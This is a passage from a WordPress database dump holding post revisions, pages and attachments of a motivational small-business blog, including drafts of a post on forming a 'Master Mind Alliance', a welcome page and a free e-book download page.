discouraged if you’re turned down by people you would love to have in your group. Afterall, the only people you really want are the people who really want to participate with you. Be clear and honest about your mission, and what’s in it for them in exchange for their contribution.  Keep yourself in the positive frame of mind that attracts the very brightest members to help you accomplish your mission.\r\n\r\n<strong>If you have a group in place, please share what makes your Master Mind group an effective tool for all concerned.</strong>', 'How to multiply your brain!', 0, '', 'inherit', 'open', 'open', '', '725-revision-4', '', '', '2010-04-13 12:04:34', '2010-04-13 19:04:34', '', 725, 'http://www.whitehotcenter.com/2010/04/13/725-revision-4/', 0, 'revision', '', 0),
(731, 2, '2010-04-13 12:09:39', '2010-04-13 19:09:39', '<img class="alignnone size-full wp-image-729" title="brain" src="http://whc.fbdev.org/wp-content/uploads/2010/04/brain1.gif" alt="brain" width="490" height="396" />\r\n<h2>Ok, let’s assume you have a forward thinking vision for where you want to take your business and your whole life. You’re smart, disciplined, and highly focused. You have your vision written out in exquisite detail and you read it daily.  You take measurable actions each day toward your goals. You’re doing things right. Hopefully you’re not doing the right things alone.  If you are, you must multiply your brain power! You must create a Master Mind Alliance.</h2>\r\nEarly 20<sup>th</sup> century author Napolean Hill defines the Master Mind as “the coordination of knowledge and effort, in a spirit of harmony, between two or more people for the attainment of a definite purpose”.  He goes to say ”no individual may have great power without utilizing the Master Mind”. In other words you can’t get there by yourself. You need more than one brain–no matter how smart you think yours is.\r\n\r\nI must confess that this is an area in my business life where I have been challenged. So much of my life I have been going it alone. Early on, I bought into the common belief if you’re going get anywhere in life, you’re going have to do it yourself.  Nobody’s going to do it for you.  True enough, but even the Lone Ranger had Tonto to get him out of some tight jams.  The world moves too fast for one brain. We need collaborators that share our passion as if it were their own.\r\n\r\n<strong>Battery Power / Brain Power</strong>\r\n\r\nIt’s common knowledge when you take a collection of batteries and link them together, they will produce far more energy than a single battery.  Brains operate the same way. Take a bunch of brains, put them together in a room and they will collectively produce more thought energy than a single brain. More importantly, the added energy produced collectively is available to all individually.  The smartest person in the room is the one surrounded by several other smart people!  The big ideas swim in a deep idea pool!\r\n\r\nIf you require a force-multiplier to achieve your goals, there is none better than a Master Mind Alliance with others whose capabilities, contacts, knowledge, talent and skill can be harnessed on your behalf.  Your results become quantum leaps fueled by the collective brain power of your Master Mind Alliance.  Conversely, your participation and contributions to the group serves the good of the other members. This increases your own personal sense of value as you contribute to success of others. Everybody has to win!\r\n\r\n<strong>How to assemble your Master Mind Alliance.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>clearly know your chief purpose. That focuses the lens on the kind and type of people to invite to join your alliance. Keep it around 8-10 members tops!</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>be razor sharp clear about what rewards, advantages and benefits you will offer your members in return for their contributions. Every one must agree on this understanding from day one.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>don’t select people just because you like them. Choose people who not only share your vision, but will let you use their knowledge as if it were your own. It’s best to select people that have already achieved some level of success you are aspiring to reach yourself. These people can light the way for you.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>meet as often as is useful for all. (The good news is you can all meet virtually anywhere and at anytime thanks to the internet).</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>at all times, there must be honesty, trust, respect, authenticity, integrity and cooperation in equal measure among all members of the alliance</strong></span>.\r\n<h2><span style="color: #808080;">The important idea behind the Master Mind is that you begin to surround yourself with people you respect and admire, and in whose success you are equally invested. </span></h2>\r\nOf course things will change. Along the way your circumstances may require you amend the members of your group. This is perfectly fine. Just as it is possible, other members may withdraw themselves from your group for their own reasons.  As you grow, you’ll find yourself scaling up your Master Mind Alliance to keep pace with your business.\r\n\r\nAs you begin to recruit your members, don’t be discouraged if you’re turned down by people you would love to have in your group. Afterall, the only people you really want are the people who really want to participate with you. Be clear and honest about your mission, and what’s in it for them in exchange for their contribution.  Keep yourself in the positive frame of mind that attracts the very brightest members to help you accomplish your mission.\r\n\r\n<strong>If you have a group in place, please share what makes your Master Mind group an effective tool for all concerned.</strong>', 'How to multiply your brain!', 0, '', 'inherit', 'open', 'open', '', '725-revision-5', '', '', '2010-04-13 12:09:39', '2010-04-13 19:09:39', '', 725, 'http://www.whitehotcenter.com/2010/04/13/725-revision-5/', 0, 'revision', '', 0),
(732, 2, '2010-04-13 12:17:20', '2010-04-13 19:17:20', '<img class="alignnone size-full wp-image-729" title="brain" src="http://whc.fbdev.org/wp-content/uploads/2010/04/brain1.gif" alt="brain" width="490" height="396" />\r\n<h2>Ok, let’s assume you have a forward thinking vision for where you want to take your business and your whole life. You’re smart, disciplined, and highly focused. You have your vision written out in exquisite detail and you read it daily.  You take measurable actions each day toward your goals. You’re doing things right. Hopefully you’re not doing the right things alone.  If you are, you must multiply your brain power! You must create a Master Mind Alliance.</h2>\r\nEarly 20<sup>th</sup> century author <a href="http://en.wikipedia.org/wiki/Napoleon_Hill" target="_blank">Napolean Hill</a> defines the Master Mind as “the coordination of knowledge and effort, in a spirit of harmony, between two or more people for the attainment of a definite purpose”.  He goes to say ”no individual may have great power without utilizing the Master Mind”. In other words you can’t get there by yourself. You need more than one brain–no matter how smart you think yours is.\r\n\r\nI must confess that this is an area in my business life where I have been challenged. So much of my life I have been going it alone. Early on, I bought into the common belief if you’re going get anywhere in life, you’re going have to do it yourself.  Nobody’s going to do it for you.  True enough, but even the Lone Ranger had Tonto to get him out of some tight jams.  The world moves too fast for one brain. We need collaborators that share our passion as if it were their own.\r\n\r\n<strong>Battery Power / Brain Power</strong>\r\n\r\nIt’s common knowledge when you take a collection of batteries and link them together, they will produce far more energy than a single battery.  Brains operate the same way. Take a bunch of brains, put them together in a room and they will collectively produce more thought energy than a single brain. More importantly, the added energy produced collectively is available to all individually.  The smartest person in the room is the one surrounded by several other smart people!  The big ideas swim in a deep idea pool!\r\n\r\nIf you require a force-multiplier to achieve your goals, there is none better than a Master Mind Alliance with others whose capabilities, contacts, knowledge, talent and skill can be harnessed on your behalf.  Your results become quantum leaps fueled by the collective brain power of your Master Mind Alliance.  Conversely, your participation and contributions to the group serves the good of the other members. This increases your own personal sense of value as you contribute to success of others. Everybody has to win!\r\n\r\n<strong>How to assemble your Master Mind Alliance.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>clearly know your chief purpose. That focuses the lens on the kind and type of people to invite to join your alliance. Keep it around 8-10 members tops!</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>be razor sharp clear about what rewards, advantages and benefits you will offer your members in return for their contributions. Every one must agree on this understanding from day one.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>don’t select people just because you like them. Choose people who not only share your vision, but will let you use their knowledge as if it were your own. It’s best to select people that have already achieved some level of success you are aspiring to reach yourself. These people can light the way for you.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>meet as often as is useful for all. (The good news is you can all meet virtually anywhere and at anytime thanks to the internet).</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>at all times, there must be honesty, trust, respect, authenticity, integrity and cooperation in equal measure among all members of the alliance</strong></span>.\r\n<h2><span style="color: #808080;">The important idea behind the Master Mind is that you begin to surround yourself with people you respect and admire, and in whose success you are equally invested. </span></h2>\r\nOf course things will change. Along the way your circumstances may require you amend the members of your group. This is perfectly fine. Just as it is possible, other members may withdraw themselves from your group for their own reasons.  As you grow, you’ll find yourself scaling up your Master Mind Alliance to keep pace with your business.\r\n\r\nAs you begin to recruit your members, don’t be discouraged if you’re turned down by people you would love to have in your group. Afterall, the only people you really want are the people who really want to participate with you. Be clear and honest about your mission, and what’s in it for them in exchange for their contribution.  Keep yourself in the positive frame of mind that attracts the very brightest members to help you accomplish your mission.\r\n\r\n<strong>If you have a group in place, please share what makes your Master Mind group an effective tool for all concerned.</strong>', 'How to multiply your brain!', 0, '', 'inherit', 'open', 'open', '', '725-revision-6', '', '', '2010-04-13 12:17:20', '2010-04-13 19:17:20', '', 725, 'http://www.whitehotcenter.com/2010/04/13/725-revision-6/', 0, 'revision', '', 0),
(733, 2, '2010-04-16 11:04:10', '2010-04-16 18:04:10', '', 'whcebook', 0, '', 'inherit', 'open', 'open', '', 'whcebook', '', '', '2010-04-16 11:04:10', '2010-04-16 18:04:10', '', 145, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/whcebook.gif', 0, 'attachment', 'image/gif', 0),
(1573, 2, '2011-04-12 11:00:09', '2011-04-12 18:00:09', '', 'Competition Proof Your Business EBook', 0, '', 'inherit', 'open', 'open', '', 'compproofbusiness-ebook', '', '', '2011-04-12 11:00:09', '2011-04-12 18:00:09', '', 744, 'http://www.whitehotcenter.com/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf', 0, 'attachment', 'application/pdf', 0),
(1574, 1, '2010-05-05 14:09:53', '2010-05-05 21:09:53', '<img class="alignnone size-full wp-image-733" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="412" height="467" />\r\n<h2>I''m delighted you have joined the conversation here on the WhiteHotCenter, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. Click the link below:</h2>\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf" target="_blank" id="freereportlink"> "The WhiteHotCenter Guide to Building a Competition Proof Business."</a>\r\n\r\n<strong>After reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n</strong>\r\n\r\n<strong>to your inspired success,\r\nThomson Dawson</strong>', 'Download your FREE Report!', 0, '', 'inherit', 'open', 'open', '', '744-revision-v1', '', '', '2010-05-05 14:09:53', '2010-05-05 21:09:53', '', 744, 'http://www.whitehotcenter.com/2010/05/05/744-revision-10/', 0, 'revision', '', 0),
(734, 2, '2010-04-16 11:29:22', '2010-04-16 18:29:22', '', 'The White Hot Center Guide to Building a Competition Proof Business', 0, '', 'inherit', 'open', 'open', '', 'whcebook-2', '', '', '2010-04-16 11:29:22', '2010-04-16 18:29:22', '', 145, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/whcebook1.gif', 0, 'attachment', 'image/gif', 0),
(737, 2, '2009-07-09 15:39:43', '2009-07-09 22:39:43', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/hot-info-bar1.gif"><img class="alignnone size-full wp-image-486" title="hot-info-bar" src="http://whc.fbdev.org/wp-content/uploads/2009/04/hot-info-bar1.gif" alt="hot-info-bar" width="448" height="91" /></a><span style="color: #ff6600;">We keep our eyes and ears dialed into ideas from other thought leaders and creative minds, useful products and events and other good stuff to help point you in the direction to find more inspiration and education to grow your influence in the world...</span></h2>', ' Resources / Products / Events', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2009-07-09 15:39:43', '2009-07-09 22:39:43', '', 145, 'http://www.whitehotcenter.com/2009/07/09/145-revision-11/', 0, 'revision', '', 0),
(738, 2, '2010-04-16 12:51:58', '2010-04-16 19:51:58', '<span style="color: #808080;"> </span>\r\n<h2><span style="color: #808080;"><strong><img class="size-full wp-image-734 alignnone" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook1.gif" alt="The White Hot Center Guide to Building a Competition Proof Business" width="350" height="396" /></strong></span><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf">The White Hot Center Guide to Building a Competition Proof Business</a>. Download your absolutely FREE COPY now!</span><span style="color: #ff6600;"><span style="color: #ff6600;">\r\n</span></span></h2>\r\n<h2><span style="color: #333333;">White Hot Center founder Thomson Dawson offers six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will help you create a value monopoly with your customers. In an age of commoditization in every product and service category, this guide will help you discover and define what it takes to make your business stand out from the slush pile of endless competitors!</span></h2>\r\n<span style="color: #333333;">\r\n</span>\r\n\r\n<strong>I highly recommend you check out these great resources for personal and professional inspiration and effectiveness:</strong><strong>\r\n</strong>\r\n<h2></h2>\r\n<h2><span style="color: #808080;">whitehottruth.com</span></h2>\r\n<h2><span style="color: #808080;">the99percent.com</span></h2>\r\n<h2><span style="color: #808080;">lateralaction.com</span></h2>\r\n<h2><span style="color: #808080;">accidentalcreative.com</span></h2>\r\n<h2><span style="color: #808080;">strategiccoach.com</span></h2>\r\n<h2><span style="color: #808080;">zenhabits.com</span></h2>\r\n<h2><span style="color: #808080;">ted.com</span></h2>\r\n<h2><span style="color: #808080;">blog.success.com</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #808080;">sethgodin.com</span>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-04-16 12:51:58', '2010-04-16 19:51:58', '', 145, 'http://www.whitehotcenter.com/2010/04/16/145-revision-12/', 0, 'revision', '', 0),
(739, 2, '2010-04-16 13:07:08', '2010-04-16 20:07:08', '<span style="color: #808080;"> </span>\r\n<h2><span style="color: #808080;"><strong><img class="size-full wp-image-734 alignnone" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook1.gif" alt="The White Hot Center Guide to Building a Competition Proof Business" width="350" height="396" /></strong></span><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf">The White Hot Center Guide to Building a Competition Proof Business</a>. Download your absolutely FREE COPY now!</span><span style="color: #ff6600;"><span style="color: #ff6600;">\r\n</span></span></h2>\r\n<h2><span style="color: #333333;">White Hot Center founder Thomson Dawson offers six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will help you create a value monopoly with your customers. In an age of commoditization in every product and service category, this guide will help you discover and define what it takes to make your business stand out from the slush pile of endless competitors!</span></h2>\r\n<span style="color: #333333;">\r\n</span>\r\n\r\n<strong>I highly recommend you check out these great resources for personal and professional inspiration and effectiveness:</strong><strong>\r\n</strong>\r\n<h2><a href="http://www.whitehottruth.com" target="_blank"><span style="color: #808080;">whitehottruth.com</span></a></h2>\r\n<h2><a href="http://www.the99percent.com" target="_blank"><span style="color: #808080;">the99percent.com</span></a></h2>\r\n<h2><a href="http://www.lateralaction.com" target="_blank"><span style="color: #808080;">lateralaction.com</span></a></h2>\r\n<h2><a href="http://www.accidentalcreative.com" target="_blank"><span style="color: #808080;">accidentalcreative.com</span></a></h2>\r\n<h2><a href="http://www.strategiccoach.com" target="_blank"><span style="color: #808080;">strategiccoach.com</span></a></h2>\r\n<h2><a href="http://www.zenhabits.com" target="_blank"><span style="color: #808080;">zenhabits.com</span></a></h2>\r\n<h2><a href="http://www.ted.com" target="_blank"><span style="color: #808080;">ted.com</span></a></h2>\r\n<h2><a href="http://www.blog.success.com" target="_blank"><span style="color: #808080;">blog.success.com</span></a></h2>\r\n<h2><span style="color: #ff6600;"><a href="http://www.sethgodin.typepad.com" target="_blank"><span style="color: #808080;">sethgodin.com</span></a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-04-16 13:07:08', '2010-04-16 20:07:08', '', 145, 'http://www.whitehotcenter.com/2010/04/16/145-revision-13/', 0, 'revision', '', 0),
(740, 2, '2010-03-11 11:43:03', '2010-03-11 18:43:03', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the WhiteHotCenter. My purpose here is to inspire you into a frame of mind that will support you in taking your business and your life to the next level.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Success in business and in life is a process, not an event. It''s an on-going, always growing life enhancing activity. Whatever metrics you use to determine your success, the most useful definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is your heart''s desire burning bright and hot within you. With that in mind, here are some benchmarks many people I have worked with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">competition-proof your business with customers who value your contribution to them, and as a result, are delighted to show their appreciation by paying the higher fees your unique talent and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery over the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of significance through your unique contributions to the world.</span></h2>\r\n<strong>A</strong><strong>bout Me</strong>\r\nFor over 25 years, I''ve helped business people in organizations large and small, discover and define their unique voice, brand identity and value proposition to their customers.  As a result of this experience, I wanted to share ideas and a point of view about business and personal growth that will inspire you and give you more clarity and confidence to pursue your best opportunities.  You can learn about my professional background and expertise in product and brand innovation here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><span style="color: #ff6600;">It is my intention this blog will serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></h2>\r\nI’ll be sharing my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey. I wish you continued success in your creative business and in every area of your life. Thank you for visiting!\r\n\r\nAll the best,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-03-11 11:43:03', '2010-03-11 18:43:03', '', 172, 'http://www.whitehotcenter.com/2010/03/11/172-revision-60/', 0, 'revision', '', 0),
(741, 2, '2010-04-18 11:35:57', '2010-04-18 18:35:57', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I<span style="color: #ff6600;">’m very pleased that you have found your way to the WhiteHotCenter. My purpose here is to inspire you into a frame of mind that will support you in taking your business and your life to the next level.</span></span><span style="color: #ff6600;"> Whatever metrics you use to define your success, you might relate to this simple idea from Bob Dylan: </span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</span><strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that support entrepreneurs, small business leaders and solo professionals to create a life of significance and contribution doing what they love through the venue of of their business. Here are some success benchmarks many people I have worked with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">competition-proof your business with customers who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talent and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery over the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater significance through your unique contributions to the world.</span></h2>\r\n<strong>A</strong><strong>bout Me</strong>\r\nFor over 25 years, I''ve helped business people in organizations large and small, discover and define their unique voice, brand identity and value proposition to their customers.  As a result of this experience, I wanted to share ideas and a point of view about business development, personal and professional growth that will inspire you to have more clarity and confidence to pursue your best opportunities.  You can learn about my professional background and expertise in product and brand innovation here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><span style="color: #ff6600;">My purpose here is to serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></h2>\r\nIt''s my belief that creating massive success in life begins within us. Creating what you desire requires the right thinking and disciplined action in equal measure. Success is a life-long process of never ending growth and expansion. After you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies that are useful to your business growth and add value to your life''s journey. Of course, your comments will only elevate the conversation for all of  us. I look forward to you sharing your thoughts with all of us in the  comments section. I wish you inspired success in your creative business and in every area of your life. Thank you for visiting!\r\n\r\nAll the best,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-04-18 11:35:57', '2010-04-18 18:35:57', '', 172, 'http://www.whitehotcenter.com/2010/04/18/172-revision-61/', 0, 'revision', '', 0),
(742, 2, '2010-04-18 11:37:48', '2010-04-18 18:37:48', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I<span style="color: #ff6600;">’m very pleased that you have found your way to the WhiteHotCenter. My purpose here is to inspire you into a frame of mind that will support you in taking your business and your life to the next level.</span></span><span style="color: #ff6600;"> Whatever metrics you use to define your success, you might relate to this simple idea from Bob Dylan: </span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</span><strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that support entrepreneurs, small business leaders and solo professionals to create a life of significance and contribution doing what they love through the venue of their business. Here are some success benchmarks many people I have worked with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">competition-proof your business with customers who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talent and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery over the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater significance through your unique contributions to the world.</span></h2>\r\n<strong>A</strong><strong>bout Me</strong>\r\nFor over 25 years, I''ve helped business people in organizations large and small, discover and define their unique voice, brand identity and value proposition to their customers.  As a result of this experience, I wanted to share ideas and a point of view about business development, personal and professional growth that will inspire you to have more clarity and confidence to pursue your best opportunities.  You can learn about my professional background and expertise in product and brand innovation here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><span style="color: #ff6600;">My purpose here is to serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></h2>\r\nIt''s my belief that creating massive success in life begins within us. Creating what you desire requires the right thinking and disciplined action in equal measure. Success is a life-long process of never ending growth and expansion. After you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies that are useful to your business growth and add value to your life''s journey. Of course, your comments will only elevate the conversation for all of  us. I look forward to you sharing your thoughts with all of us in the  comments section. I wish you inspired success in your creative business and in every area of your life. Thank you for visiting!\r\n\r\nAll the best,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-04-18 11:37:48', '2010-04-18 18:37:48', '', 172, 'http://www.whitehotcenter.com/2010/04/18/172-revision-62/', 0, 'revision', '', 0),
(744, 1, '2010-04-21 11:32:29', '2010-04-21 18:32:29', '<h2 style="margin-top: 0;">I''m delighted you have joined the conversation here on the White Hot Center, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. To download click the button below.</h2>\r\n<h3>Competition Proof Your Business EBook</h3>\r\n<img class="wp-image-733 alignleft" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="200" />\r\n\r\nAfter reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n\r\n[su_button url="http://whc.fbdev.org/wp-content/uploads/2015/10/CompProofBiz_ebook_10-15.pdf" style="flat" background="#ff6600" size="6"]Download E-Book[/su_button]\r\n&nbsp;<br />&nbsp;<br />\r\nto your inspired success,\r\nThomson Dawson\r\n&nbsp;<br />&nbsp;<br />&nbsp;<br />', 'Download your FREE Report!', 0, '', 'publish', 'open', 'open', '', 'whitehotcenter-aweber-email-confirmation-page', '', '', '2015-10-16 12:50:09', '2015-10-16 19:50:09', '', 0, 'http://www.whitehotcenter.com/?page_id=744', 0, 'page', '', 0),
(797, 1, '2010-04-26 15:21:33', '2010-04-26 22:21:33', '<h2><img class="alignnone size-full wp-image-773" title="seeingisbelieving" src="http://whc.fbdev.org/wp-content/uploads/2010/04/seeingisbelieving.gif" alt="" width="467" height="232" />It’s my belief all entrepreneurs are completely and totally creative! Entrepreneurs create value where there was previously no value perceived. Now that’s creativity!</h2>\r\nWhen I use the word “creative”, I am not meaning activity exclusively tied to artistic endeavors.  Everything there is, at first, was created in the formless imagination before it became a physical reality. Your business is a creative sandbox for you to play in–that’s why I like to use the term creative business. Naturally as an entrepreneur you are creating everyday to grow your business. You’re creating innovative products or services that add more value to people. You realize that you must create value for others first before new opportunity will come to you in the form of more paying customers.\r\n\r\nThere are two parts to value creation: the inner formless idea in your creative imagination, and its physical manifestation in reality.  If you can create something in your mind, you can experience it in the physical. Your creative imagination is the source of all value innovation in your business.\r\n<h2><span style="color: #808080;">Using your creative imagination is critical to your growth and success.</span></h2>\r\n<strong>Your creative imagination is visual.</strong>\r\nWhen you “see” an idea in your mind’s eye, it is as if you are watching a movie on the screen of your mind.  Your creative imagination is the place where you form mental pictures of things and circumstances that you have not yet experienced. Your ability to develop the skill of using your creative imagination is the most important attribute for creating value for people.  Of course, you need to have a compelling vision of what you want to create in your business. When you visualize an idea, what you are really doing is accessing the rich resources of your sub-conscious mind. When you believe an idea is possible – you will see it!\r\n\r\n<strong>Daydreaming is a powerful tool for innovation.</strong>\r\nTo be effective at tapping into the creative power of your sub-conscious, you must create a space in your conscious mind. There are many techniques for doing this, but the one I find most useful is daydreaming. Let your mind go–play aimlessly with your ideas without self-judgment. Let an idea take its own form in your mind without you trying to force it into form, or aligning its value to conventional wisdom. Play! If you can allow yourself time to daydream, you’ll be inspired and feel as though you’re being guided to see opportunity where others may not.\r\n\r\n<strong>Intuition is the white hot center of your creative power.</strong>\r\nIntuition can best be described as your inner wisdom and understanding unrelated to experience or reasoning.  Intuition can be compared to a “sixth sense”, an ability to know instinctively what course of action is best to embark on.  Intuition is the guide of your creative imagination. Can you learn to more effectively use your intuitive powers? Absolutely! Intuition is not a special talent or gift that only the lucky few possess.\r\n\r\nBefore you can use your natural intuitive gift for innovation, you have to trust it!  This might explain why some people seem to attract more opportunity than others. These are the people who trust their gut and simply go with it. If you want to tap into game changing ideas for creating value for people, you have to trust your intuition.  Think about this– your intuition led you to choose to be an entrepreneur right?  Apple founder, Steve Jobs describes the process of innovation as “putting a dent in the universe”. Your intuition will lead your creative imagination to your best ideas–just get out of your own way and let it be so.\r\n<h2><span style="color: #808080;">Creative ideas don’t have to be original or perfect. Nothing impedes progress more than the pursuit of perfection.</span></h2>\r\nMany entrepreneurs put undue pressure on themselves to develop original  ideas. In my experience, there is nothing new under the sun. Every  ground-breaking innovation that ever was came as a result of what came  before it.  For example, someone invented windshield wipers because  people wanted to drive their car in the rain. Then a few years later,  someone had the idea that intermittent wiper blades would be a better  solution. Many times useful ideas are incremental.  You don’t have to  create a revolution to create value.\r\n\r\nMany entrepreneurs also worry needlessly that they haven’t perfected their ideas. No idea is ever perfect. When you have an idea, go ahead and build a prototype or two, tinker with it and experiment with what works, make refinements as necessary, but by all means get it out there!  You can always improve on a good idea. Let the market help you improve it. Originality and perfection, in my  opinion, are overrated and often get in the way of  innovation and value  creation.\r\n\r\n<strong>Here are some suggestions you may want to daydream about in your creative imagination: </strong>\r\n\r\n<span style="color: #ff6600;"><strong> Identify opportunities in 